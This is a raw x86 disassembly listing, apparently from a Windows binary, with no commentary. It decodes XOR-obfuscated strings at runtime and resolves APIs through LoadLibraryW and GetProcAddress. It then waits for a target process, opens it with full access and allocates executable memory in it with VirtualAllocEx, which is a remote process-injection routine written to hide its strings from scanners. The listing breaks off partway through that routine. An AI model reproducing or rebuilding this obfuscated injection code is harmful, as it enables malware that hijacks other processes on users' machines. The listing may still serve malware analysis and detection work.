nop word [eax + eax]
movzx eax, word [ebp + ecx - 0x228]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x2a4a], ax
test ax, ax
jne 0x45a610
lea eax, [ebp - 0x1ae0]
mov dword [ebp - 0x1b00], 0x4037e44e
push eax
lea eax, [ebp - 0x1b00]
mov dword [ebp - 0x1afc], 0x8fac65cd
push eax
lea ecx, [ebp - 0x32e8]
mov dword [ebp - 0x1af8], 0xc00b6c13
mov dword [ebp - 0x1af4], 0xb2297901
mov dword [ebp - 0x1af0], 0x97b18509
mov dword [ebp - 0x1aec], 0x77f2fed1
mov dword [ebp - 0x1ae8], 0x9ef18ec8
mov dword [ebp - 0x1ae4], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1ac0]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x1ae0]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x32e0]
mov dword [ebp - 0x1ae0], 0x4052e425
mov dword [ebp - 0x1adc], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x1ad8], 0xc0676c76
mov dword [ebp - 0x1ad4], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x1ad0], 0x97d58527
mov dword [ebp - 0x1acc], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x1ac8], 0x9ef18ec8
mov dword [ebp - 0x1ac4], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1aa0]
mov dword [ebp - 0xca0], 0x4037e44e
push eax
lea eax, [ebp - 0x1ac0]
mov dword [ebp - 0xc9c], 0x8fac65cd
push eax
lea ecx, [ebp - 0x32d8]
mov dword [ebp - 0x1ac0], 0x4037e44e
mov dword [ebp - 0x1abc], 0x8fac65cd
mov dword [ebp - 0xc98], 0xc00b6c13
mov dword [ebp - 0xc94], 0xb2297901
mov dword [ebp - 0x1ab8], 0xc00b6c13
mov dword [ebp - 0x1ab4], 0xb2297901
mov dword [ebp - 0xc90], 0x97b18509
mov dword [ebp - 0xc8c], 0x77f2fed1
mov dword [ebp - 0x1ab0], 0x97b18509
mov dword [ebp - 0x1aac], 0x77f2fed1
mov dword [ebp - 0xc88], 0x9ef18ec8
mov dword [ebp - 0xc84], 0xe0d84f08
mov dword [ebp - 0x1aa8], 0x9ef18ec8
mov dword [ebp - 0x1aa4], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xca0]
lea eax, [ebp - 0xca0]
pxor xmm1, xmmword [ebp - 0x860]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
movaps xmmword [ebp - 0xca0], xmm1
movaps xmm1, xmmword [ebp - 0xc90]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xc90], xmm1
call edi
mov dword [ebp - 0x2bf4], eax
lea eax, [ebp - 0x1a80]
push eax
lea eax, [ebp - 0x1aa0]
mov dword [ebp - 0x1aa0], 0x4021e450
mov dword [ebp - 0x1a9c], 0x8fb065da
mov dword [ebp - 0x1a98], 0xc0556c45
mov dword [ebp - 0x1a94], 0xb27f791c
mov dword [ebp - 0x1a90], 0x97b9854b
mov dword [ebp - 0x1a8c], 0x779efebd
mov dword [ebp - 0x1a88], 0x9ef18ec8
mov dword [ebp - 0x1a84], 0xe0d84f08
push eax
lea ecx, [ebp - 0x32d0]
call fcn.0045f990
lea eax, [ebp - 0x1a60]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x1a80]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x32c8]
mov dword [ebp - 0x1a80], 0x4052e425
mov dword [ebp - 0x1a7c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x1a78], 0xc0676c76
mov dword [ebp - 0x1a74], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x1a70], 0x97d58527
mov dword [ebp - 0x1a6c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x1a68], 0x9ef18ec8
mov dword [ebp - 0x1a64], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1a40]
mov dword [ebp - 0xcc0], 0x4021e450
push eax
lea eax, [ebp - 0x1a60]
mov dword [ebp - 0xcbc], 0x8fb065da
push eax
lea ecx, [ebp - 0x32c0]
mov dword [ebp - 0x1a60], 0x4021e450
mov dword [ebp - 0x1a5c], 0x8fb065da
mov dword [ebp - 0xcb8], 0xc0556c45
mov dword [ebp - 0xcb4], 0xb27f791c
mov dword [ebp - 0x1a58], 0xc0556c45
mov dword [ebp - 0x1a54], 0xb27f791c
mov dword [ebp - 0xcb0], 0x97b9854b
mov dword [ebp - 0xcac], 0x779efebd
mov dword [ebp - 0x1a50], 0x97b9854b
mov dword [ebp - 0x1a4c], 0x779efebd
mov dword [ebp - 0xca8], 0x9ef18ec8
mov dword [ebp - 0xca4], 0xe0d84f08
mov dword [ebp - 0x1a48], 0x9ef18ec8
mov dword [ebp - 0x1a44], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xcc0]
lea eax, [ebp - 0xcc0]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xcc0], xmm1
movaps xmm1, xmmword [ebp - 0xcb0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xcb0], xmm1
call edi
mov esi, eax
mov dword [ebp - 0x1a40], 0x4021e448
lea eax, [ebp - 0x1a20]
mov dword [ebp - 0x1a3c], 0x8fa165c9
push eax
lea eax, [ebp - 0x1a40]
mov dword [ebp - 0x1a38], 0xc0136c04
push eax
lea ecx, [ebp - 0x32b8]
mov dword [ebp - 0x1a34], 0xb27f791c
mov dword [ebp - 0x1a30], 0x97b9854b
mov dword [ebp - 0x1a2c], 0x779efebd
mov dword [ebp - 0x1a28], 0x9ef18ec8
mov dword [ebp - 0x1a24], 0xe0d84f08
call fcn.0045f990
mov dword [ebp - 0x860], 0x4052e425
mov dword [ebp - 0x85c], 0x8fc265bf
mov dword [ebp - 0x1a20], 0x4052e425
mov dword [ebp - 0x1a1c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x1a18], 0xc0676c76
mov dword [ebp - 0x1a14], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x1a10], 0x97d58527
lea eax, [ebp - 0x1a00]
mov dword [ebp - 0x1a0c], 0x779efebd
push eax
lea eax, [ebp - 0x1a20]
mov dword [ebp - 0x848], 0x9ef18ec8
push eax
lea ecx, [ebp - 0x32b0]
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x1a08], 0x9ef18ec8
mov dword [ebp - 0x1a04], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x19e0]
mov dword [ebp - 0xce0], 0x4021e448
push eax
lea eax, [ebp - 0x1a00]
mov dword [ebp - 0xcdc], 0x8fa165c9
push eax
lea ecx, [ebp - 0x32a8]
mov dword [ebp - 0x1a00], 0x4021e448
mov dword [ebp - 0x19fc], 0x8fa165c9
mov dword [ebp - 0xcd8], 0xc0136c04
mov dword [ebp - 0xcd4], 0xb27f791c
mov dword [ebp - 0x19f8], 0xc0136c04
mov dword [ebp - 0x19f4], 0xb27f791c
mov dword [ebp - 0xcd0], 0x97b9854b
mov dword [ebp - 0xccc], 0x779efebd
mov dword [ebp - 0x19f0], 0x97b9854b
mov dword [ebp - 0x19ec], 0x779efebd
mov dword [ebp - 0xcc8], 0x9ef18ec8
mov dword [ebp - 0xcc4], 0xe0d84f08
mov dword [ebp - 0x19e8], 0x9ef18ec8
mov dword [ebp - 0x19e4], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xce0]
lea eax, [ebp - 0xce0]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xce0], xmm1
movaps xmm1, xmmword [ebp - 0xcd0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xcd0], xmm1
call edi
mov edi, eax
mov dword [ebp - 0x2fc8], 0x33218168
lea eax, [ebp - 0x2fb8]
mov dword [ebp - 0x2fc4], 0xcda702de
push eax
lea eax, [ebp - 0x2fc8]
mov dword [ebp - 0x2fc0], 0xc0261419
push eax
lea ecx, [ebp - 0x32a0]
mov dword [ebp - 0x2fbc], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2fc8]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2fd8]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3298]
mov dword [ebp - 0x2fd8], 0x4052e425
mov dword [ebp - 0x2fd4], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2fd0], 0xc0676c76
mov dword [ebp - 0x2fcc], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2fd8]
mov dword [ebp - 0x9f0], 0x33218168
push eax
lea eax, [ebp - 0x2fe8]
mov dword [ebp - 0x9ec], 0xcda702de
push eax
lea ecx, [ebp - 0x3290]
mov dword [ebp - 0x2fe8], 0x33218168
mov dword [ebp - 0x2fe4], 0xcda702de
mov dword [ebp - 0x9e8], 0xc0261419
mov dword [ebp - 0x9e4], 0xb21b7932
mov dword [ebp - 0x2fe0], 0xc0261419
mov dword [ebp - 0x2fdc], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0x9f0]
pxor xmm1, xmmword [ebp - 0x9f0]
push eax
push esi
movaps xmmword [ebp - 0x9f0], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a58], eax
lea ecx, [ebp - 0x3288]
lea eax, [ebp - 0x19c0]
mov dword [ebp - 0x19e0], 0xd268162
push eax
lea eax, [ebp - 0x19e0]
mov dword [ebp - 0x19dc], 0xe3b701d0
push eax
mov dword [ebp - 0x19d8], 0xae062413
mov dword [ebp - 0x19d4], 0xe57e1556
mov dword [ebp - 0x19d0], 0x97d58527
mov dword [ebp - 0x19cc], 0x779efebd
mov dword [ebp - 0x19c8], 0x9ef18ec8
mov dword [ebp - 0x19c4], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x19a0]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x19c0]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3280]
mov dword [ebp - 0x19c0], 0x4052e425
mov dword [ebp - 0x19bc], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x19b8], 0xc0676c76
mov dword [ebp - 0x19b4], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x19b0], 0x97d58527
mov dword [ebp - 0x19ac], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x19a8], 0x9ef18ec8
mov dword [ebp - 0x19a4], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1980]
mov dword [ebp - 0xd00], 0xd268162
push eax
lea eax, [ebp - 0x19a0]
mov dword [ebp - 0xcfc], 0xe3b701d0
push eax
lea ecx, [ebp - 0x3278]
mov dword [ebp - 0x19a0], 0xd268162
mov dword [ebp - 0x199c], 0xe3b701d0
mov dword [ebp - 0xcf8], 0xae062413
mov dword [ebp - 0xcf4], 0xe57e1556
mov dword [ebp - 0x1998], 0xae062413
mov dword [ebp - 0x1994], 0xe57e1556
mov dword [ebp - 0xcf0], 0x97d58527
mov dword [ebp - 0xcec], 0x779efebd
mov dword [ebp - 0x1990], 0x97d58527
mov dword [ebp - 0x198c], 0x779efebd
mov dword [ebp - 0xce8], 0x9ef18ec8
mov dword [ebp - 0xce4], 0xe0d84f08
mov dword [ebp - 0x1988], 0x9ef18ec8
mov dword [ebp - 0x1984], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xd00]
pxor xmm1, xmmword [ebp - 0xd00]
mov esi, dword [ebp - 0x2bf4]
movaps xmmword [ebp - 0xd00], xmm1
movaps xmm1, xmmword [ebp - 0xcf0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xcf0], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a5c], eax
mov dword [ebp - 0x2ff8], 0x24338b69
mov dword [ebp - 0x2ff4], 0xfda00cf3
mov dword [ebp - 0x2ff0], 0x971e1e17
lea eax, [ebp - 0x2fe8]
mov dword [ebp - 0x2fec], 0xb21b7932
push eax
lea eax, [ebp - 0x2ff8]
push eax
lea ecx, [ebp - 0x3270]
call fcn.0045f990
lea eax, [ebp - 0x2ff8]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x3008]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3268]
mov dword [ebp - 0x3008], 0x4052e425
mov dword [ebp - 0x3004], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x3000], 0xc0676c76
mov dword [ebp - 0x2ffc], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x3008]
mov dword [ebp - 0xa00], 0x24338b69
push eax
lea eax, [ebp - 0x3018]
mov dword [ebp - 0x9fc], 0xfda00cf3
push eax
lea ecx, [ebp - 0x3260]
mov dword [ebp - 0x3018], 0x24338b69
mov dword [ebp - 0x3014], 0xfda00cf3
mov dword [ebp - 0x9f8], 0x971e1e17
mov dword [ebp - 0x9f4], 0xb21b7932
mov dword [ebp - 0x3010], 0x971e1e17
mov dword [ebp - 0x300c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa00]
lea eax, [ebp - 0xa00]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xa00], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a60], eax
lea ecx, [ebp - 0x3258]
lea eax, [ebp - 0x3018]
mov dword [ebp - 0x3028], 0x25378876
push eax
lea eax, [ebp - 0x3028]
mov dword [ebp - 0x3024], 0x8fc265cf
push eax
mov dword [ebp - 0x3020], 0xc0676c76
mov dword [ebp - 0x301c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x3028]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x3038]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3250]
mov dword [ebp - 0x3038], 0x4052e425
mov dword [ebp - 0x3034], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x3030], 0xc0676c76
mov dword [ebp - 0x302c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x3038]
mov dword [ebp - 0xae0], 0x25378876
push eax
lea eax, [ebp - 0x3048]
mov dword [ebp - 0xadc], 0x8fc265cf
push eax
lea ecx, [ebp - 0x3248]
mov dword [ebp - 0x3048], 0x25378876
mov dword [ebp - 0x3044], 0x8fc265cf
mov dword [ebp - 0xad8], 0xc0676c76
mov dword [ebp - 0xad4], 0xb21b7932
mov dword [ebp - 0x3040], 0xc0676c76
mov dword [ebp - 0x303c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xae0]
lea eax, [ebp - 0xae0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xae0], xmm1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2a54], eax
lea ecx, [ebp - 0x3240]
lea eax, [ebp - 0x3048]
mov dword [ebp - 0x3058], 0x29209456
push eax
lea eax, [ebp - 0x3058]
mov dword [ebp - 0x3054], 0x8fa411d1
push eax
mov dword [ebp - 0x3050], 0xc0676c76
mov dword [ebp - 0x304c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x3058]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x3068]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3238]
mov dword [ebp - 0x3068], 0x4052e425
mov dword [ebp - 0x3064], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x3060], 0xc0676c76
mov dword [ebp - 0x305c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x3068]
mov dword [ebp - 0xa20], 0x29209456
push eax
lea eax, [ebp - 0x3078]
mov dword [ebp - 0xa1c], 0x8fa411d1
push eax
lea ecx, [ebp - 0x3230]
mov dword [ebp - 0x3078], 0x29209456
mov dword [ebp - 0x3074], 0x8fa411d1
mov dword [ebp - 0xa18], 0xc0676c76
mov dword [ebp - 0xa14], 0xb21b7932
mov dword [ebp - 0x3070], 0xc0676c76
mov dword [ebp - 0x306c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa20]
lea eax, [ebp - 0xa20]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
movaps xmmword [ebp - 0xa20], xmm1
call edi
mov dword [ebp - 0x2a4c], eax
lea ecx, [ebp - 0x3228]
lea eax, [ebp - 0x2ce8]
mov dword [ebp - 0x2cf8], 0xc268162
push eax
lea eax, [ebp - 0x2cf8]
mov dword [ebp - 0x2cf4], 0xcab616de
push eax
mov dword [ebp - 0x2cf0], 0xb2081e04
mov dword [ebp - 0x2cec], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x3078]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x3088]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3220]
mov dword [ebp - 0x3088], 0x4052e425
mov dword [ebp - 0x3084], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x3080], 0xc0676c76
mov dword [ebp - 0x307c], 0xb21b7932
call fcn.0045f990
mov dword [ebp - 0xa30], 0xc268162
mov dword [ebp - 0xa2c], 0xcab616de
lea eax, [ebp - 0x3088]
mov dword [ebp - 0x3098], 0xc268162
push eax
lea eax, [ebp - 0x3098]
mov dword [ebp - 0x3094], 0xcab616de
push eax
lea ecx, [ebp - 0x3218]
mov dword [ebp - 0xa28], 0xb2081e04
mov dword [ebp - 0xa24], 0xb21b7932
mov dword [ebp - 0x3090], 0xb2081e04
mov dword [ebp - 0x308c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa30]
lea eax, [ebp - 0xa30]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push esi
movaps xmmword [ebp - 0xa30], xmm1
call edi
mov dword [ebp - 0x2a50], eax
call fcn.0044d300
test al, al
jne 0x45b4d5
push 0x10
push 0x66fe58
push 0x66fe60
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x860], 0x4052e425
mov dword [ebp - 0x85c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
nop dword [eax + eax]
mov dword [ebp - 0xd20], 0x401ce464
lea ecx, [ebp - 0xd20]
mov dword [ebp - 0xd1c], 0x8f9065fb
mov dword [ebp - 0xd18], 0xc02e6c39
mov dword [ebp - 0xd14], 0xb25e7976
mov dword [ebp - 0xd10], 0x9780856a
mov dword [ebp - 0xd0c], 0x77dffef1
mov dword [ebp - 0xd08], 0x9ebe8e9c
mov dword [ebp - 0xd04], 0xe0d84f5a
movaps xmm0, xmmword [ebp - 0xd20]
pxor xmm0, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xd20], xmm0
movaps xmm0, xmmword [ebp - 0xd10]
pxor xmm0, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xd10], xmm0
call fcn.00454290
mov edi, eax
mov dword [ebp - 0x2bf4], edi
test edi, edi
jne 0x45b70c
mov dword [ebp - 0xfe0], 0x4000e475
lea ecx, [ebp - 0xfe0]
mov dword [ebp - 0xfdc], 0x8f8865f0
mov dword [ebp - 0xfd8], 0xc0246c33
mov dword [ebp - 0xfd4], 0xb24f7966
mov dword [ebp - 0xfd0], 0x9781856e
mov dword [ebp - 0xfcc], 0x77d0fefc
mov dword [ebp - 0xfc8], 0x9eb48ee6
mov dword [ebp - 0xfc4], 0xe09d4f50
mov dword [ebp - 0xfc0], 0xb7d7ed9
mov dword [ebp - 0xfbc], 0xb7b4931b
mov dword [ebp - 0xfb8], 0x7e658fa
mov dword [ebp - 0xfb4], 0x4625c1be
movaps xmm1, xmmword [ebp - 0xfe0]
mov dword [ebp - 0x8a0], 0x4052e425
mov dword [ebp - 0x89c], 0x8fc265bf
mov dword [ebp - 0x898], 0xc0676c76
mov dword [ebp - 0x894], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0xfe0], xmm1
movaps xmm1, xmmword [ebp - 0xfd0]
mov dword [ebp - 0x890], 0x97d58527
mov dword [ebp - 0x88c], 0x779efebd
mov dword [ebp - 0x888], 0x9ef18ec8
mov dword [ebp - 0x884], 0xe0d84f08
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0xfd0], xmm1
movaps xmm1, xmmword [ebp - 0xfc0]
mov dword [ebp - 0x880], 0xb7d7ed9
mov dword [ebp - 0x87c], 0xb7b4931b
mov dword [ebp - 0x878], 0x7e658fa
mov dword [ebp - 0x874], 0x4625c1be
pxor xmm1, xmmword [ebp - 0x880]
movaps xmmword [ebp - 0xfc0], xmm1
call fcn.00454290
mov edi, eax
mov dword [ebp - 0x2bf4], eax
push 0x32
call esi
test edi, edi
je 0x45b530
push 0x1f4
call esi
lea eax, [ebp - 0x3098]
mov dword [ebp - 0x30a8], 0x7a16ad75
push eax
lea eax, [ebp - 0x30a8]
mov dword [ebp - 0x30a4], 0x85a6409f
push eax
lea ecx, [ebp - 0x3210]
mov dword [ebp - 0x30a0], 0xc0676c76
mov dword [ebp - 0x309c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x30a8]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x30b8]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3208]
mov dword [ebp - 0x30b8], 0x4052e425
mov dword [ebp - 0x30b4], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x30b0], 0xc0676c76
mov dword [ebp - 0x30ac], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2c18]
mov dword [ebp - 0xa40], 0x7a16ad75
push eax
lea eax, [ebp - 0x2c28]
mov dword [ebp - 0xa3c], 0x85a6409f
push eax
lea ecx, [ebp - 0x3200]
mov dword [ebp - 0x2c28], 0x7a16ad75
mov dword [ebp - 0x2c24], 0x85a6409f
mov dword [ebp - 0xa38], 0xc0676c76
mov dword [ebp - 0xa34], 0xb21b7932
mov dword [ebp - 0x2c20], 0xc0676c76
mov dword [ebp - 0x2c1c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa40]
lea eax, [ebp - 0xa40]
pxor xmm1, xmmword [ebp - 0x850]
push edi
push eax
movaps xmmword [ebp - 0xa40], xmm1
call fcn.0044b300
add esp, 8
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x2c08], esi
test esi, esi
jne 0x45bb79
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1e90], 0x2e37946a
lea eax, [ebp - 0x1e60]
mov dword [ebp - 0x1e8c], 0xecad17ef
push eax
lea eax, [ebp - 0x1e90]
mov dword [ebp - 0x1e88], 0xe0141f13
push eax
lea ecx, [ebp - 0x31f8]
mov dword [ebp - 0x1e84], 0xde721854
mov dword [ebp - 0x1e80], 0xe0f5e142
mov dword [ebp - 0x1e7c], 0x57f68ad4
mov dword [ebp - 0x1e78], 0xfb95e1ab
mov dword [ebp - 0x1e74], 0xeabc6a28
mov dword [ebp - 0x1e70], 0xb7d7ed9
mov dword [ebp - 0x1e6c], 0xb7b4931b
mov dword [ebp - 0x1e68], 0x7e658fa
mov dword [ebp - 0x1e64], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x2040]
mov dword [ebp - 0x8a0], 0x4052e425
push eax
lea eax, [ebp - 0x2070]
mov dword [ebp - 0x89c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x31f0]
mov dword [ebp - 0x2070], 0x4052e425
mov dword [ebp - 0x206c], 0x8fc265bf
mov dword [ebp - 0x898], 0xc0676c76
mov dword [ebp - 0x894], 0xb21b7932
mov dword [ebp - 0x2068], 0xc0676c76
mov dword [ebp - 0x2064], 0xb21b7932
mov dword [ebp - 0x890], 0x97d58527
mov dword [ebp - 0x88c], 0x779efebd
mov dword [ebp - 0x2060], 0x97d58527
mov dword [ebp - 0x205c], 0x779efebd
mov dword [ebp - 0x888], 0x9ef18ec8
mov dword [ebp - 0x884], 0xe0d84f08
mov dword [ebp - 0x2058], 0x9ef18ec8
mov dword [ebp - 0x2054], 0xe0d84f08
mov dword [ebp - 0x880], 0xb7d7ed9
mov dword [ebp - 0x87c], 0xb7b4931b
mov dword [ebp - 0x2050], 0xb7d7ed9
mov dword [ebp - 0x204c], 0xb7b4931b
mov dword [ebp - 0x878], 0x7e658fa
mov dword [ebp - 0x874], 0x4625c1be
mov dword [ebp - 0x2048], 0x7e658fa
mov dword [ebp - 0x2044], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1e90]
mov dword [ebp - 0x1100], 0x2e37946a
push eax
lea eax, [ebp - 0x1ec0]
mov dword [ebp - 0x10fc], 0xecad17ef
push eax
lea ecx, [ebp - 0x31e8]
mov dword [ebp - 0x1ec0], 0x2e37946a
mov dword [ebp - 0x1ebc], 0xecad17ef
mov dword [ebp - 0x10f8], 0xe0141f13
mov dword [ebp - 0x10f4], 0xde721854
mov dword [ebp - 0x1eb8], 0xe0141f13
mov dword [ebp - 0x1eb4], 0xde721854
mov dword [ebp - 0x10f0], 0xe0f5e142
mov dword [ebp - 0x10ec], 0x57f68ad4
mov dword [ebp - 0x1eb0], 0xe0f5e142
mov dword [ebp - 0x1eac], 0x57f68ad4
mov dword [ebp - 0x10e8], 0xfb95e1ab
mov dword [ebp - 0x10e4], 0xeabc6a28
mov dword [ebp - 0x1ea8], 0xfb95e1ab
mov dword [ebp - 0x1ea4], 0xeabc6a28
mov dword [ebp - 0x10e0], 0xb7d7ed9
mov dword [ebp - 0x10dc], 0xb7b4931b
mov dword [ebp - 0x1ea0], 0xb7d7ed9
mov dword [ebp - 0x1e9c], 0xb7b4931b
mov dword [ebp - 0x10d8], 0x7e658fa
mov dword [ebp - 0x10d4], 0x4625c1be
mov dword [ebp - 0x1e98], 0x7e658fa
mov dword [ebp - 0x1e94], 0x4625c1be
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x1100]
lea eax, [ebp - 0x1100]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1100], xmm1
movaps xmm1, xmmword [ebp - 0x10f0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x10f0], xmm1
movaps xmm1, xmmword [ebp - 0x10e0]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x10e0], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1ef
push 0x40
push 0x3000
push 0x720
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2c10], eax
test eax, eax
jne 0x45be9f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x2040], 0x34208d73
lea eax, [ebp - 0x2010]
mov dword [ebp - 0x203c], 0xceae04ca
push eax
lea eax, [ebp - 0x2040]
mov dword [ebp - 0x2038], 0xa308001a
push eax
lea ecx, [ebp - 0x31e0]
mov dword [ebp - 0x2034], 0xd43b0177
mov dword [ebp - 0x2030], 0xf2b9ec46
mov dword [ebp - 0x202c], 0x1ee9ded9
mov dword [ebp - 0x2028], 0xfdd1e6bc
mov dword [ebp - 0x2024], 0xc0bd2b67
mov dword [ebp - 0x2020], 0xb771afc
mov dword [ebp - 0x201c], 0xb7b4931b
mov dword [ebp - 0x2018], 0x7e658fa
mov dword [ebp - 0x2014], 0x4625c1be
call fcn.0045f990
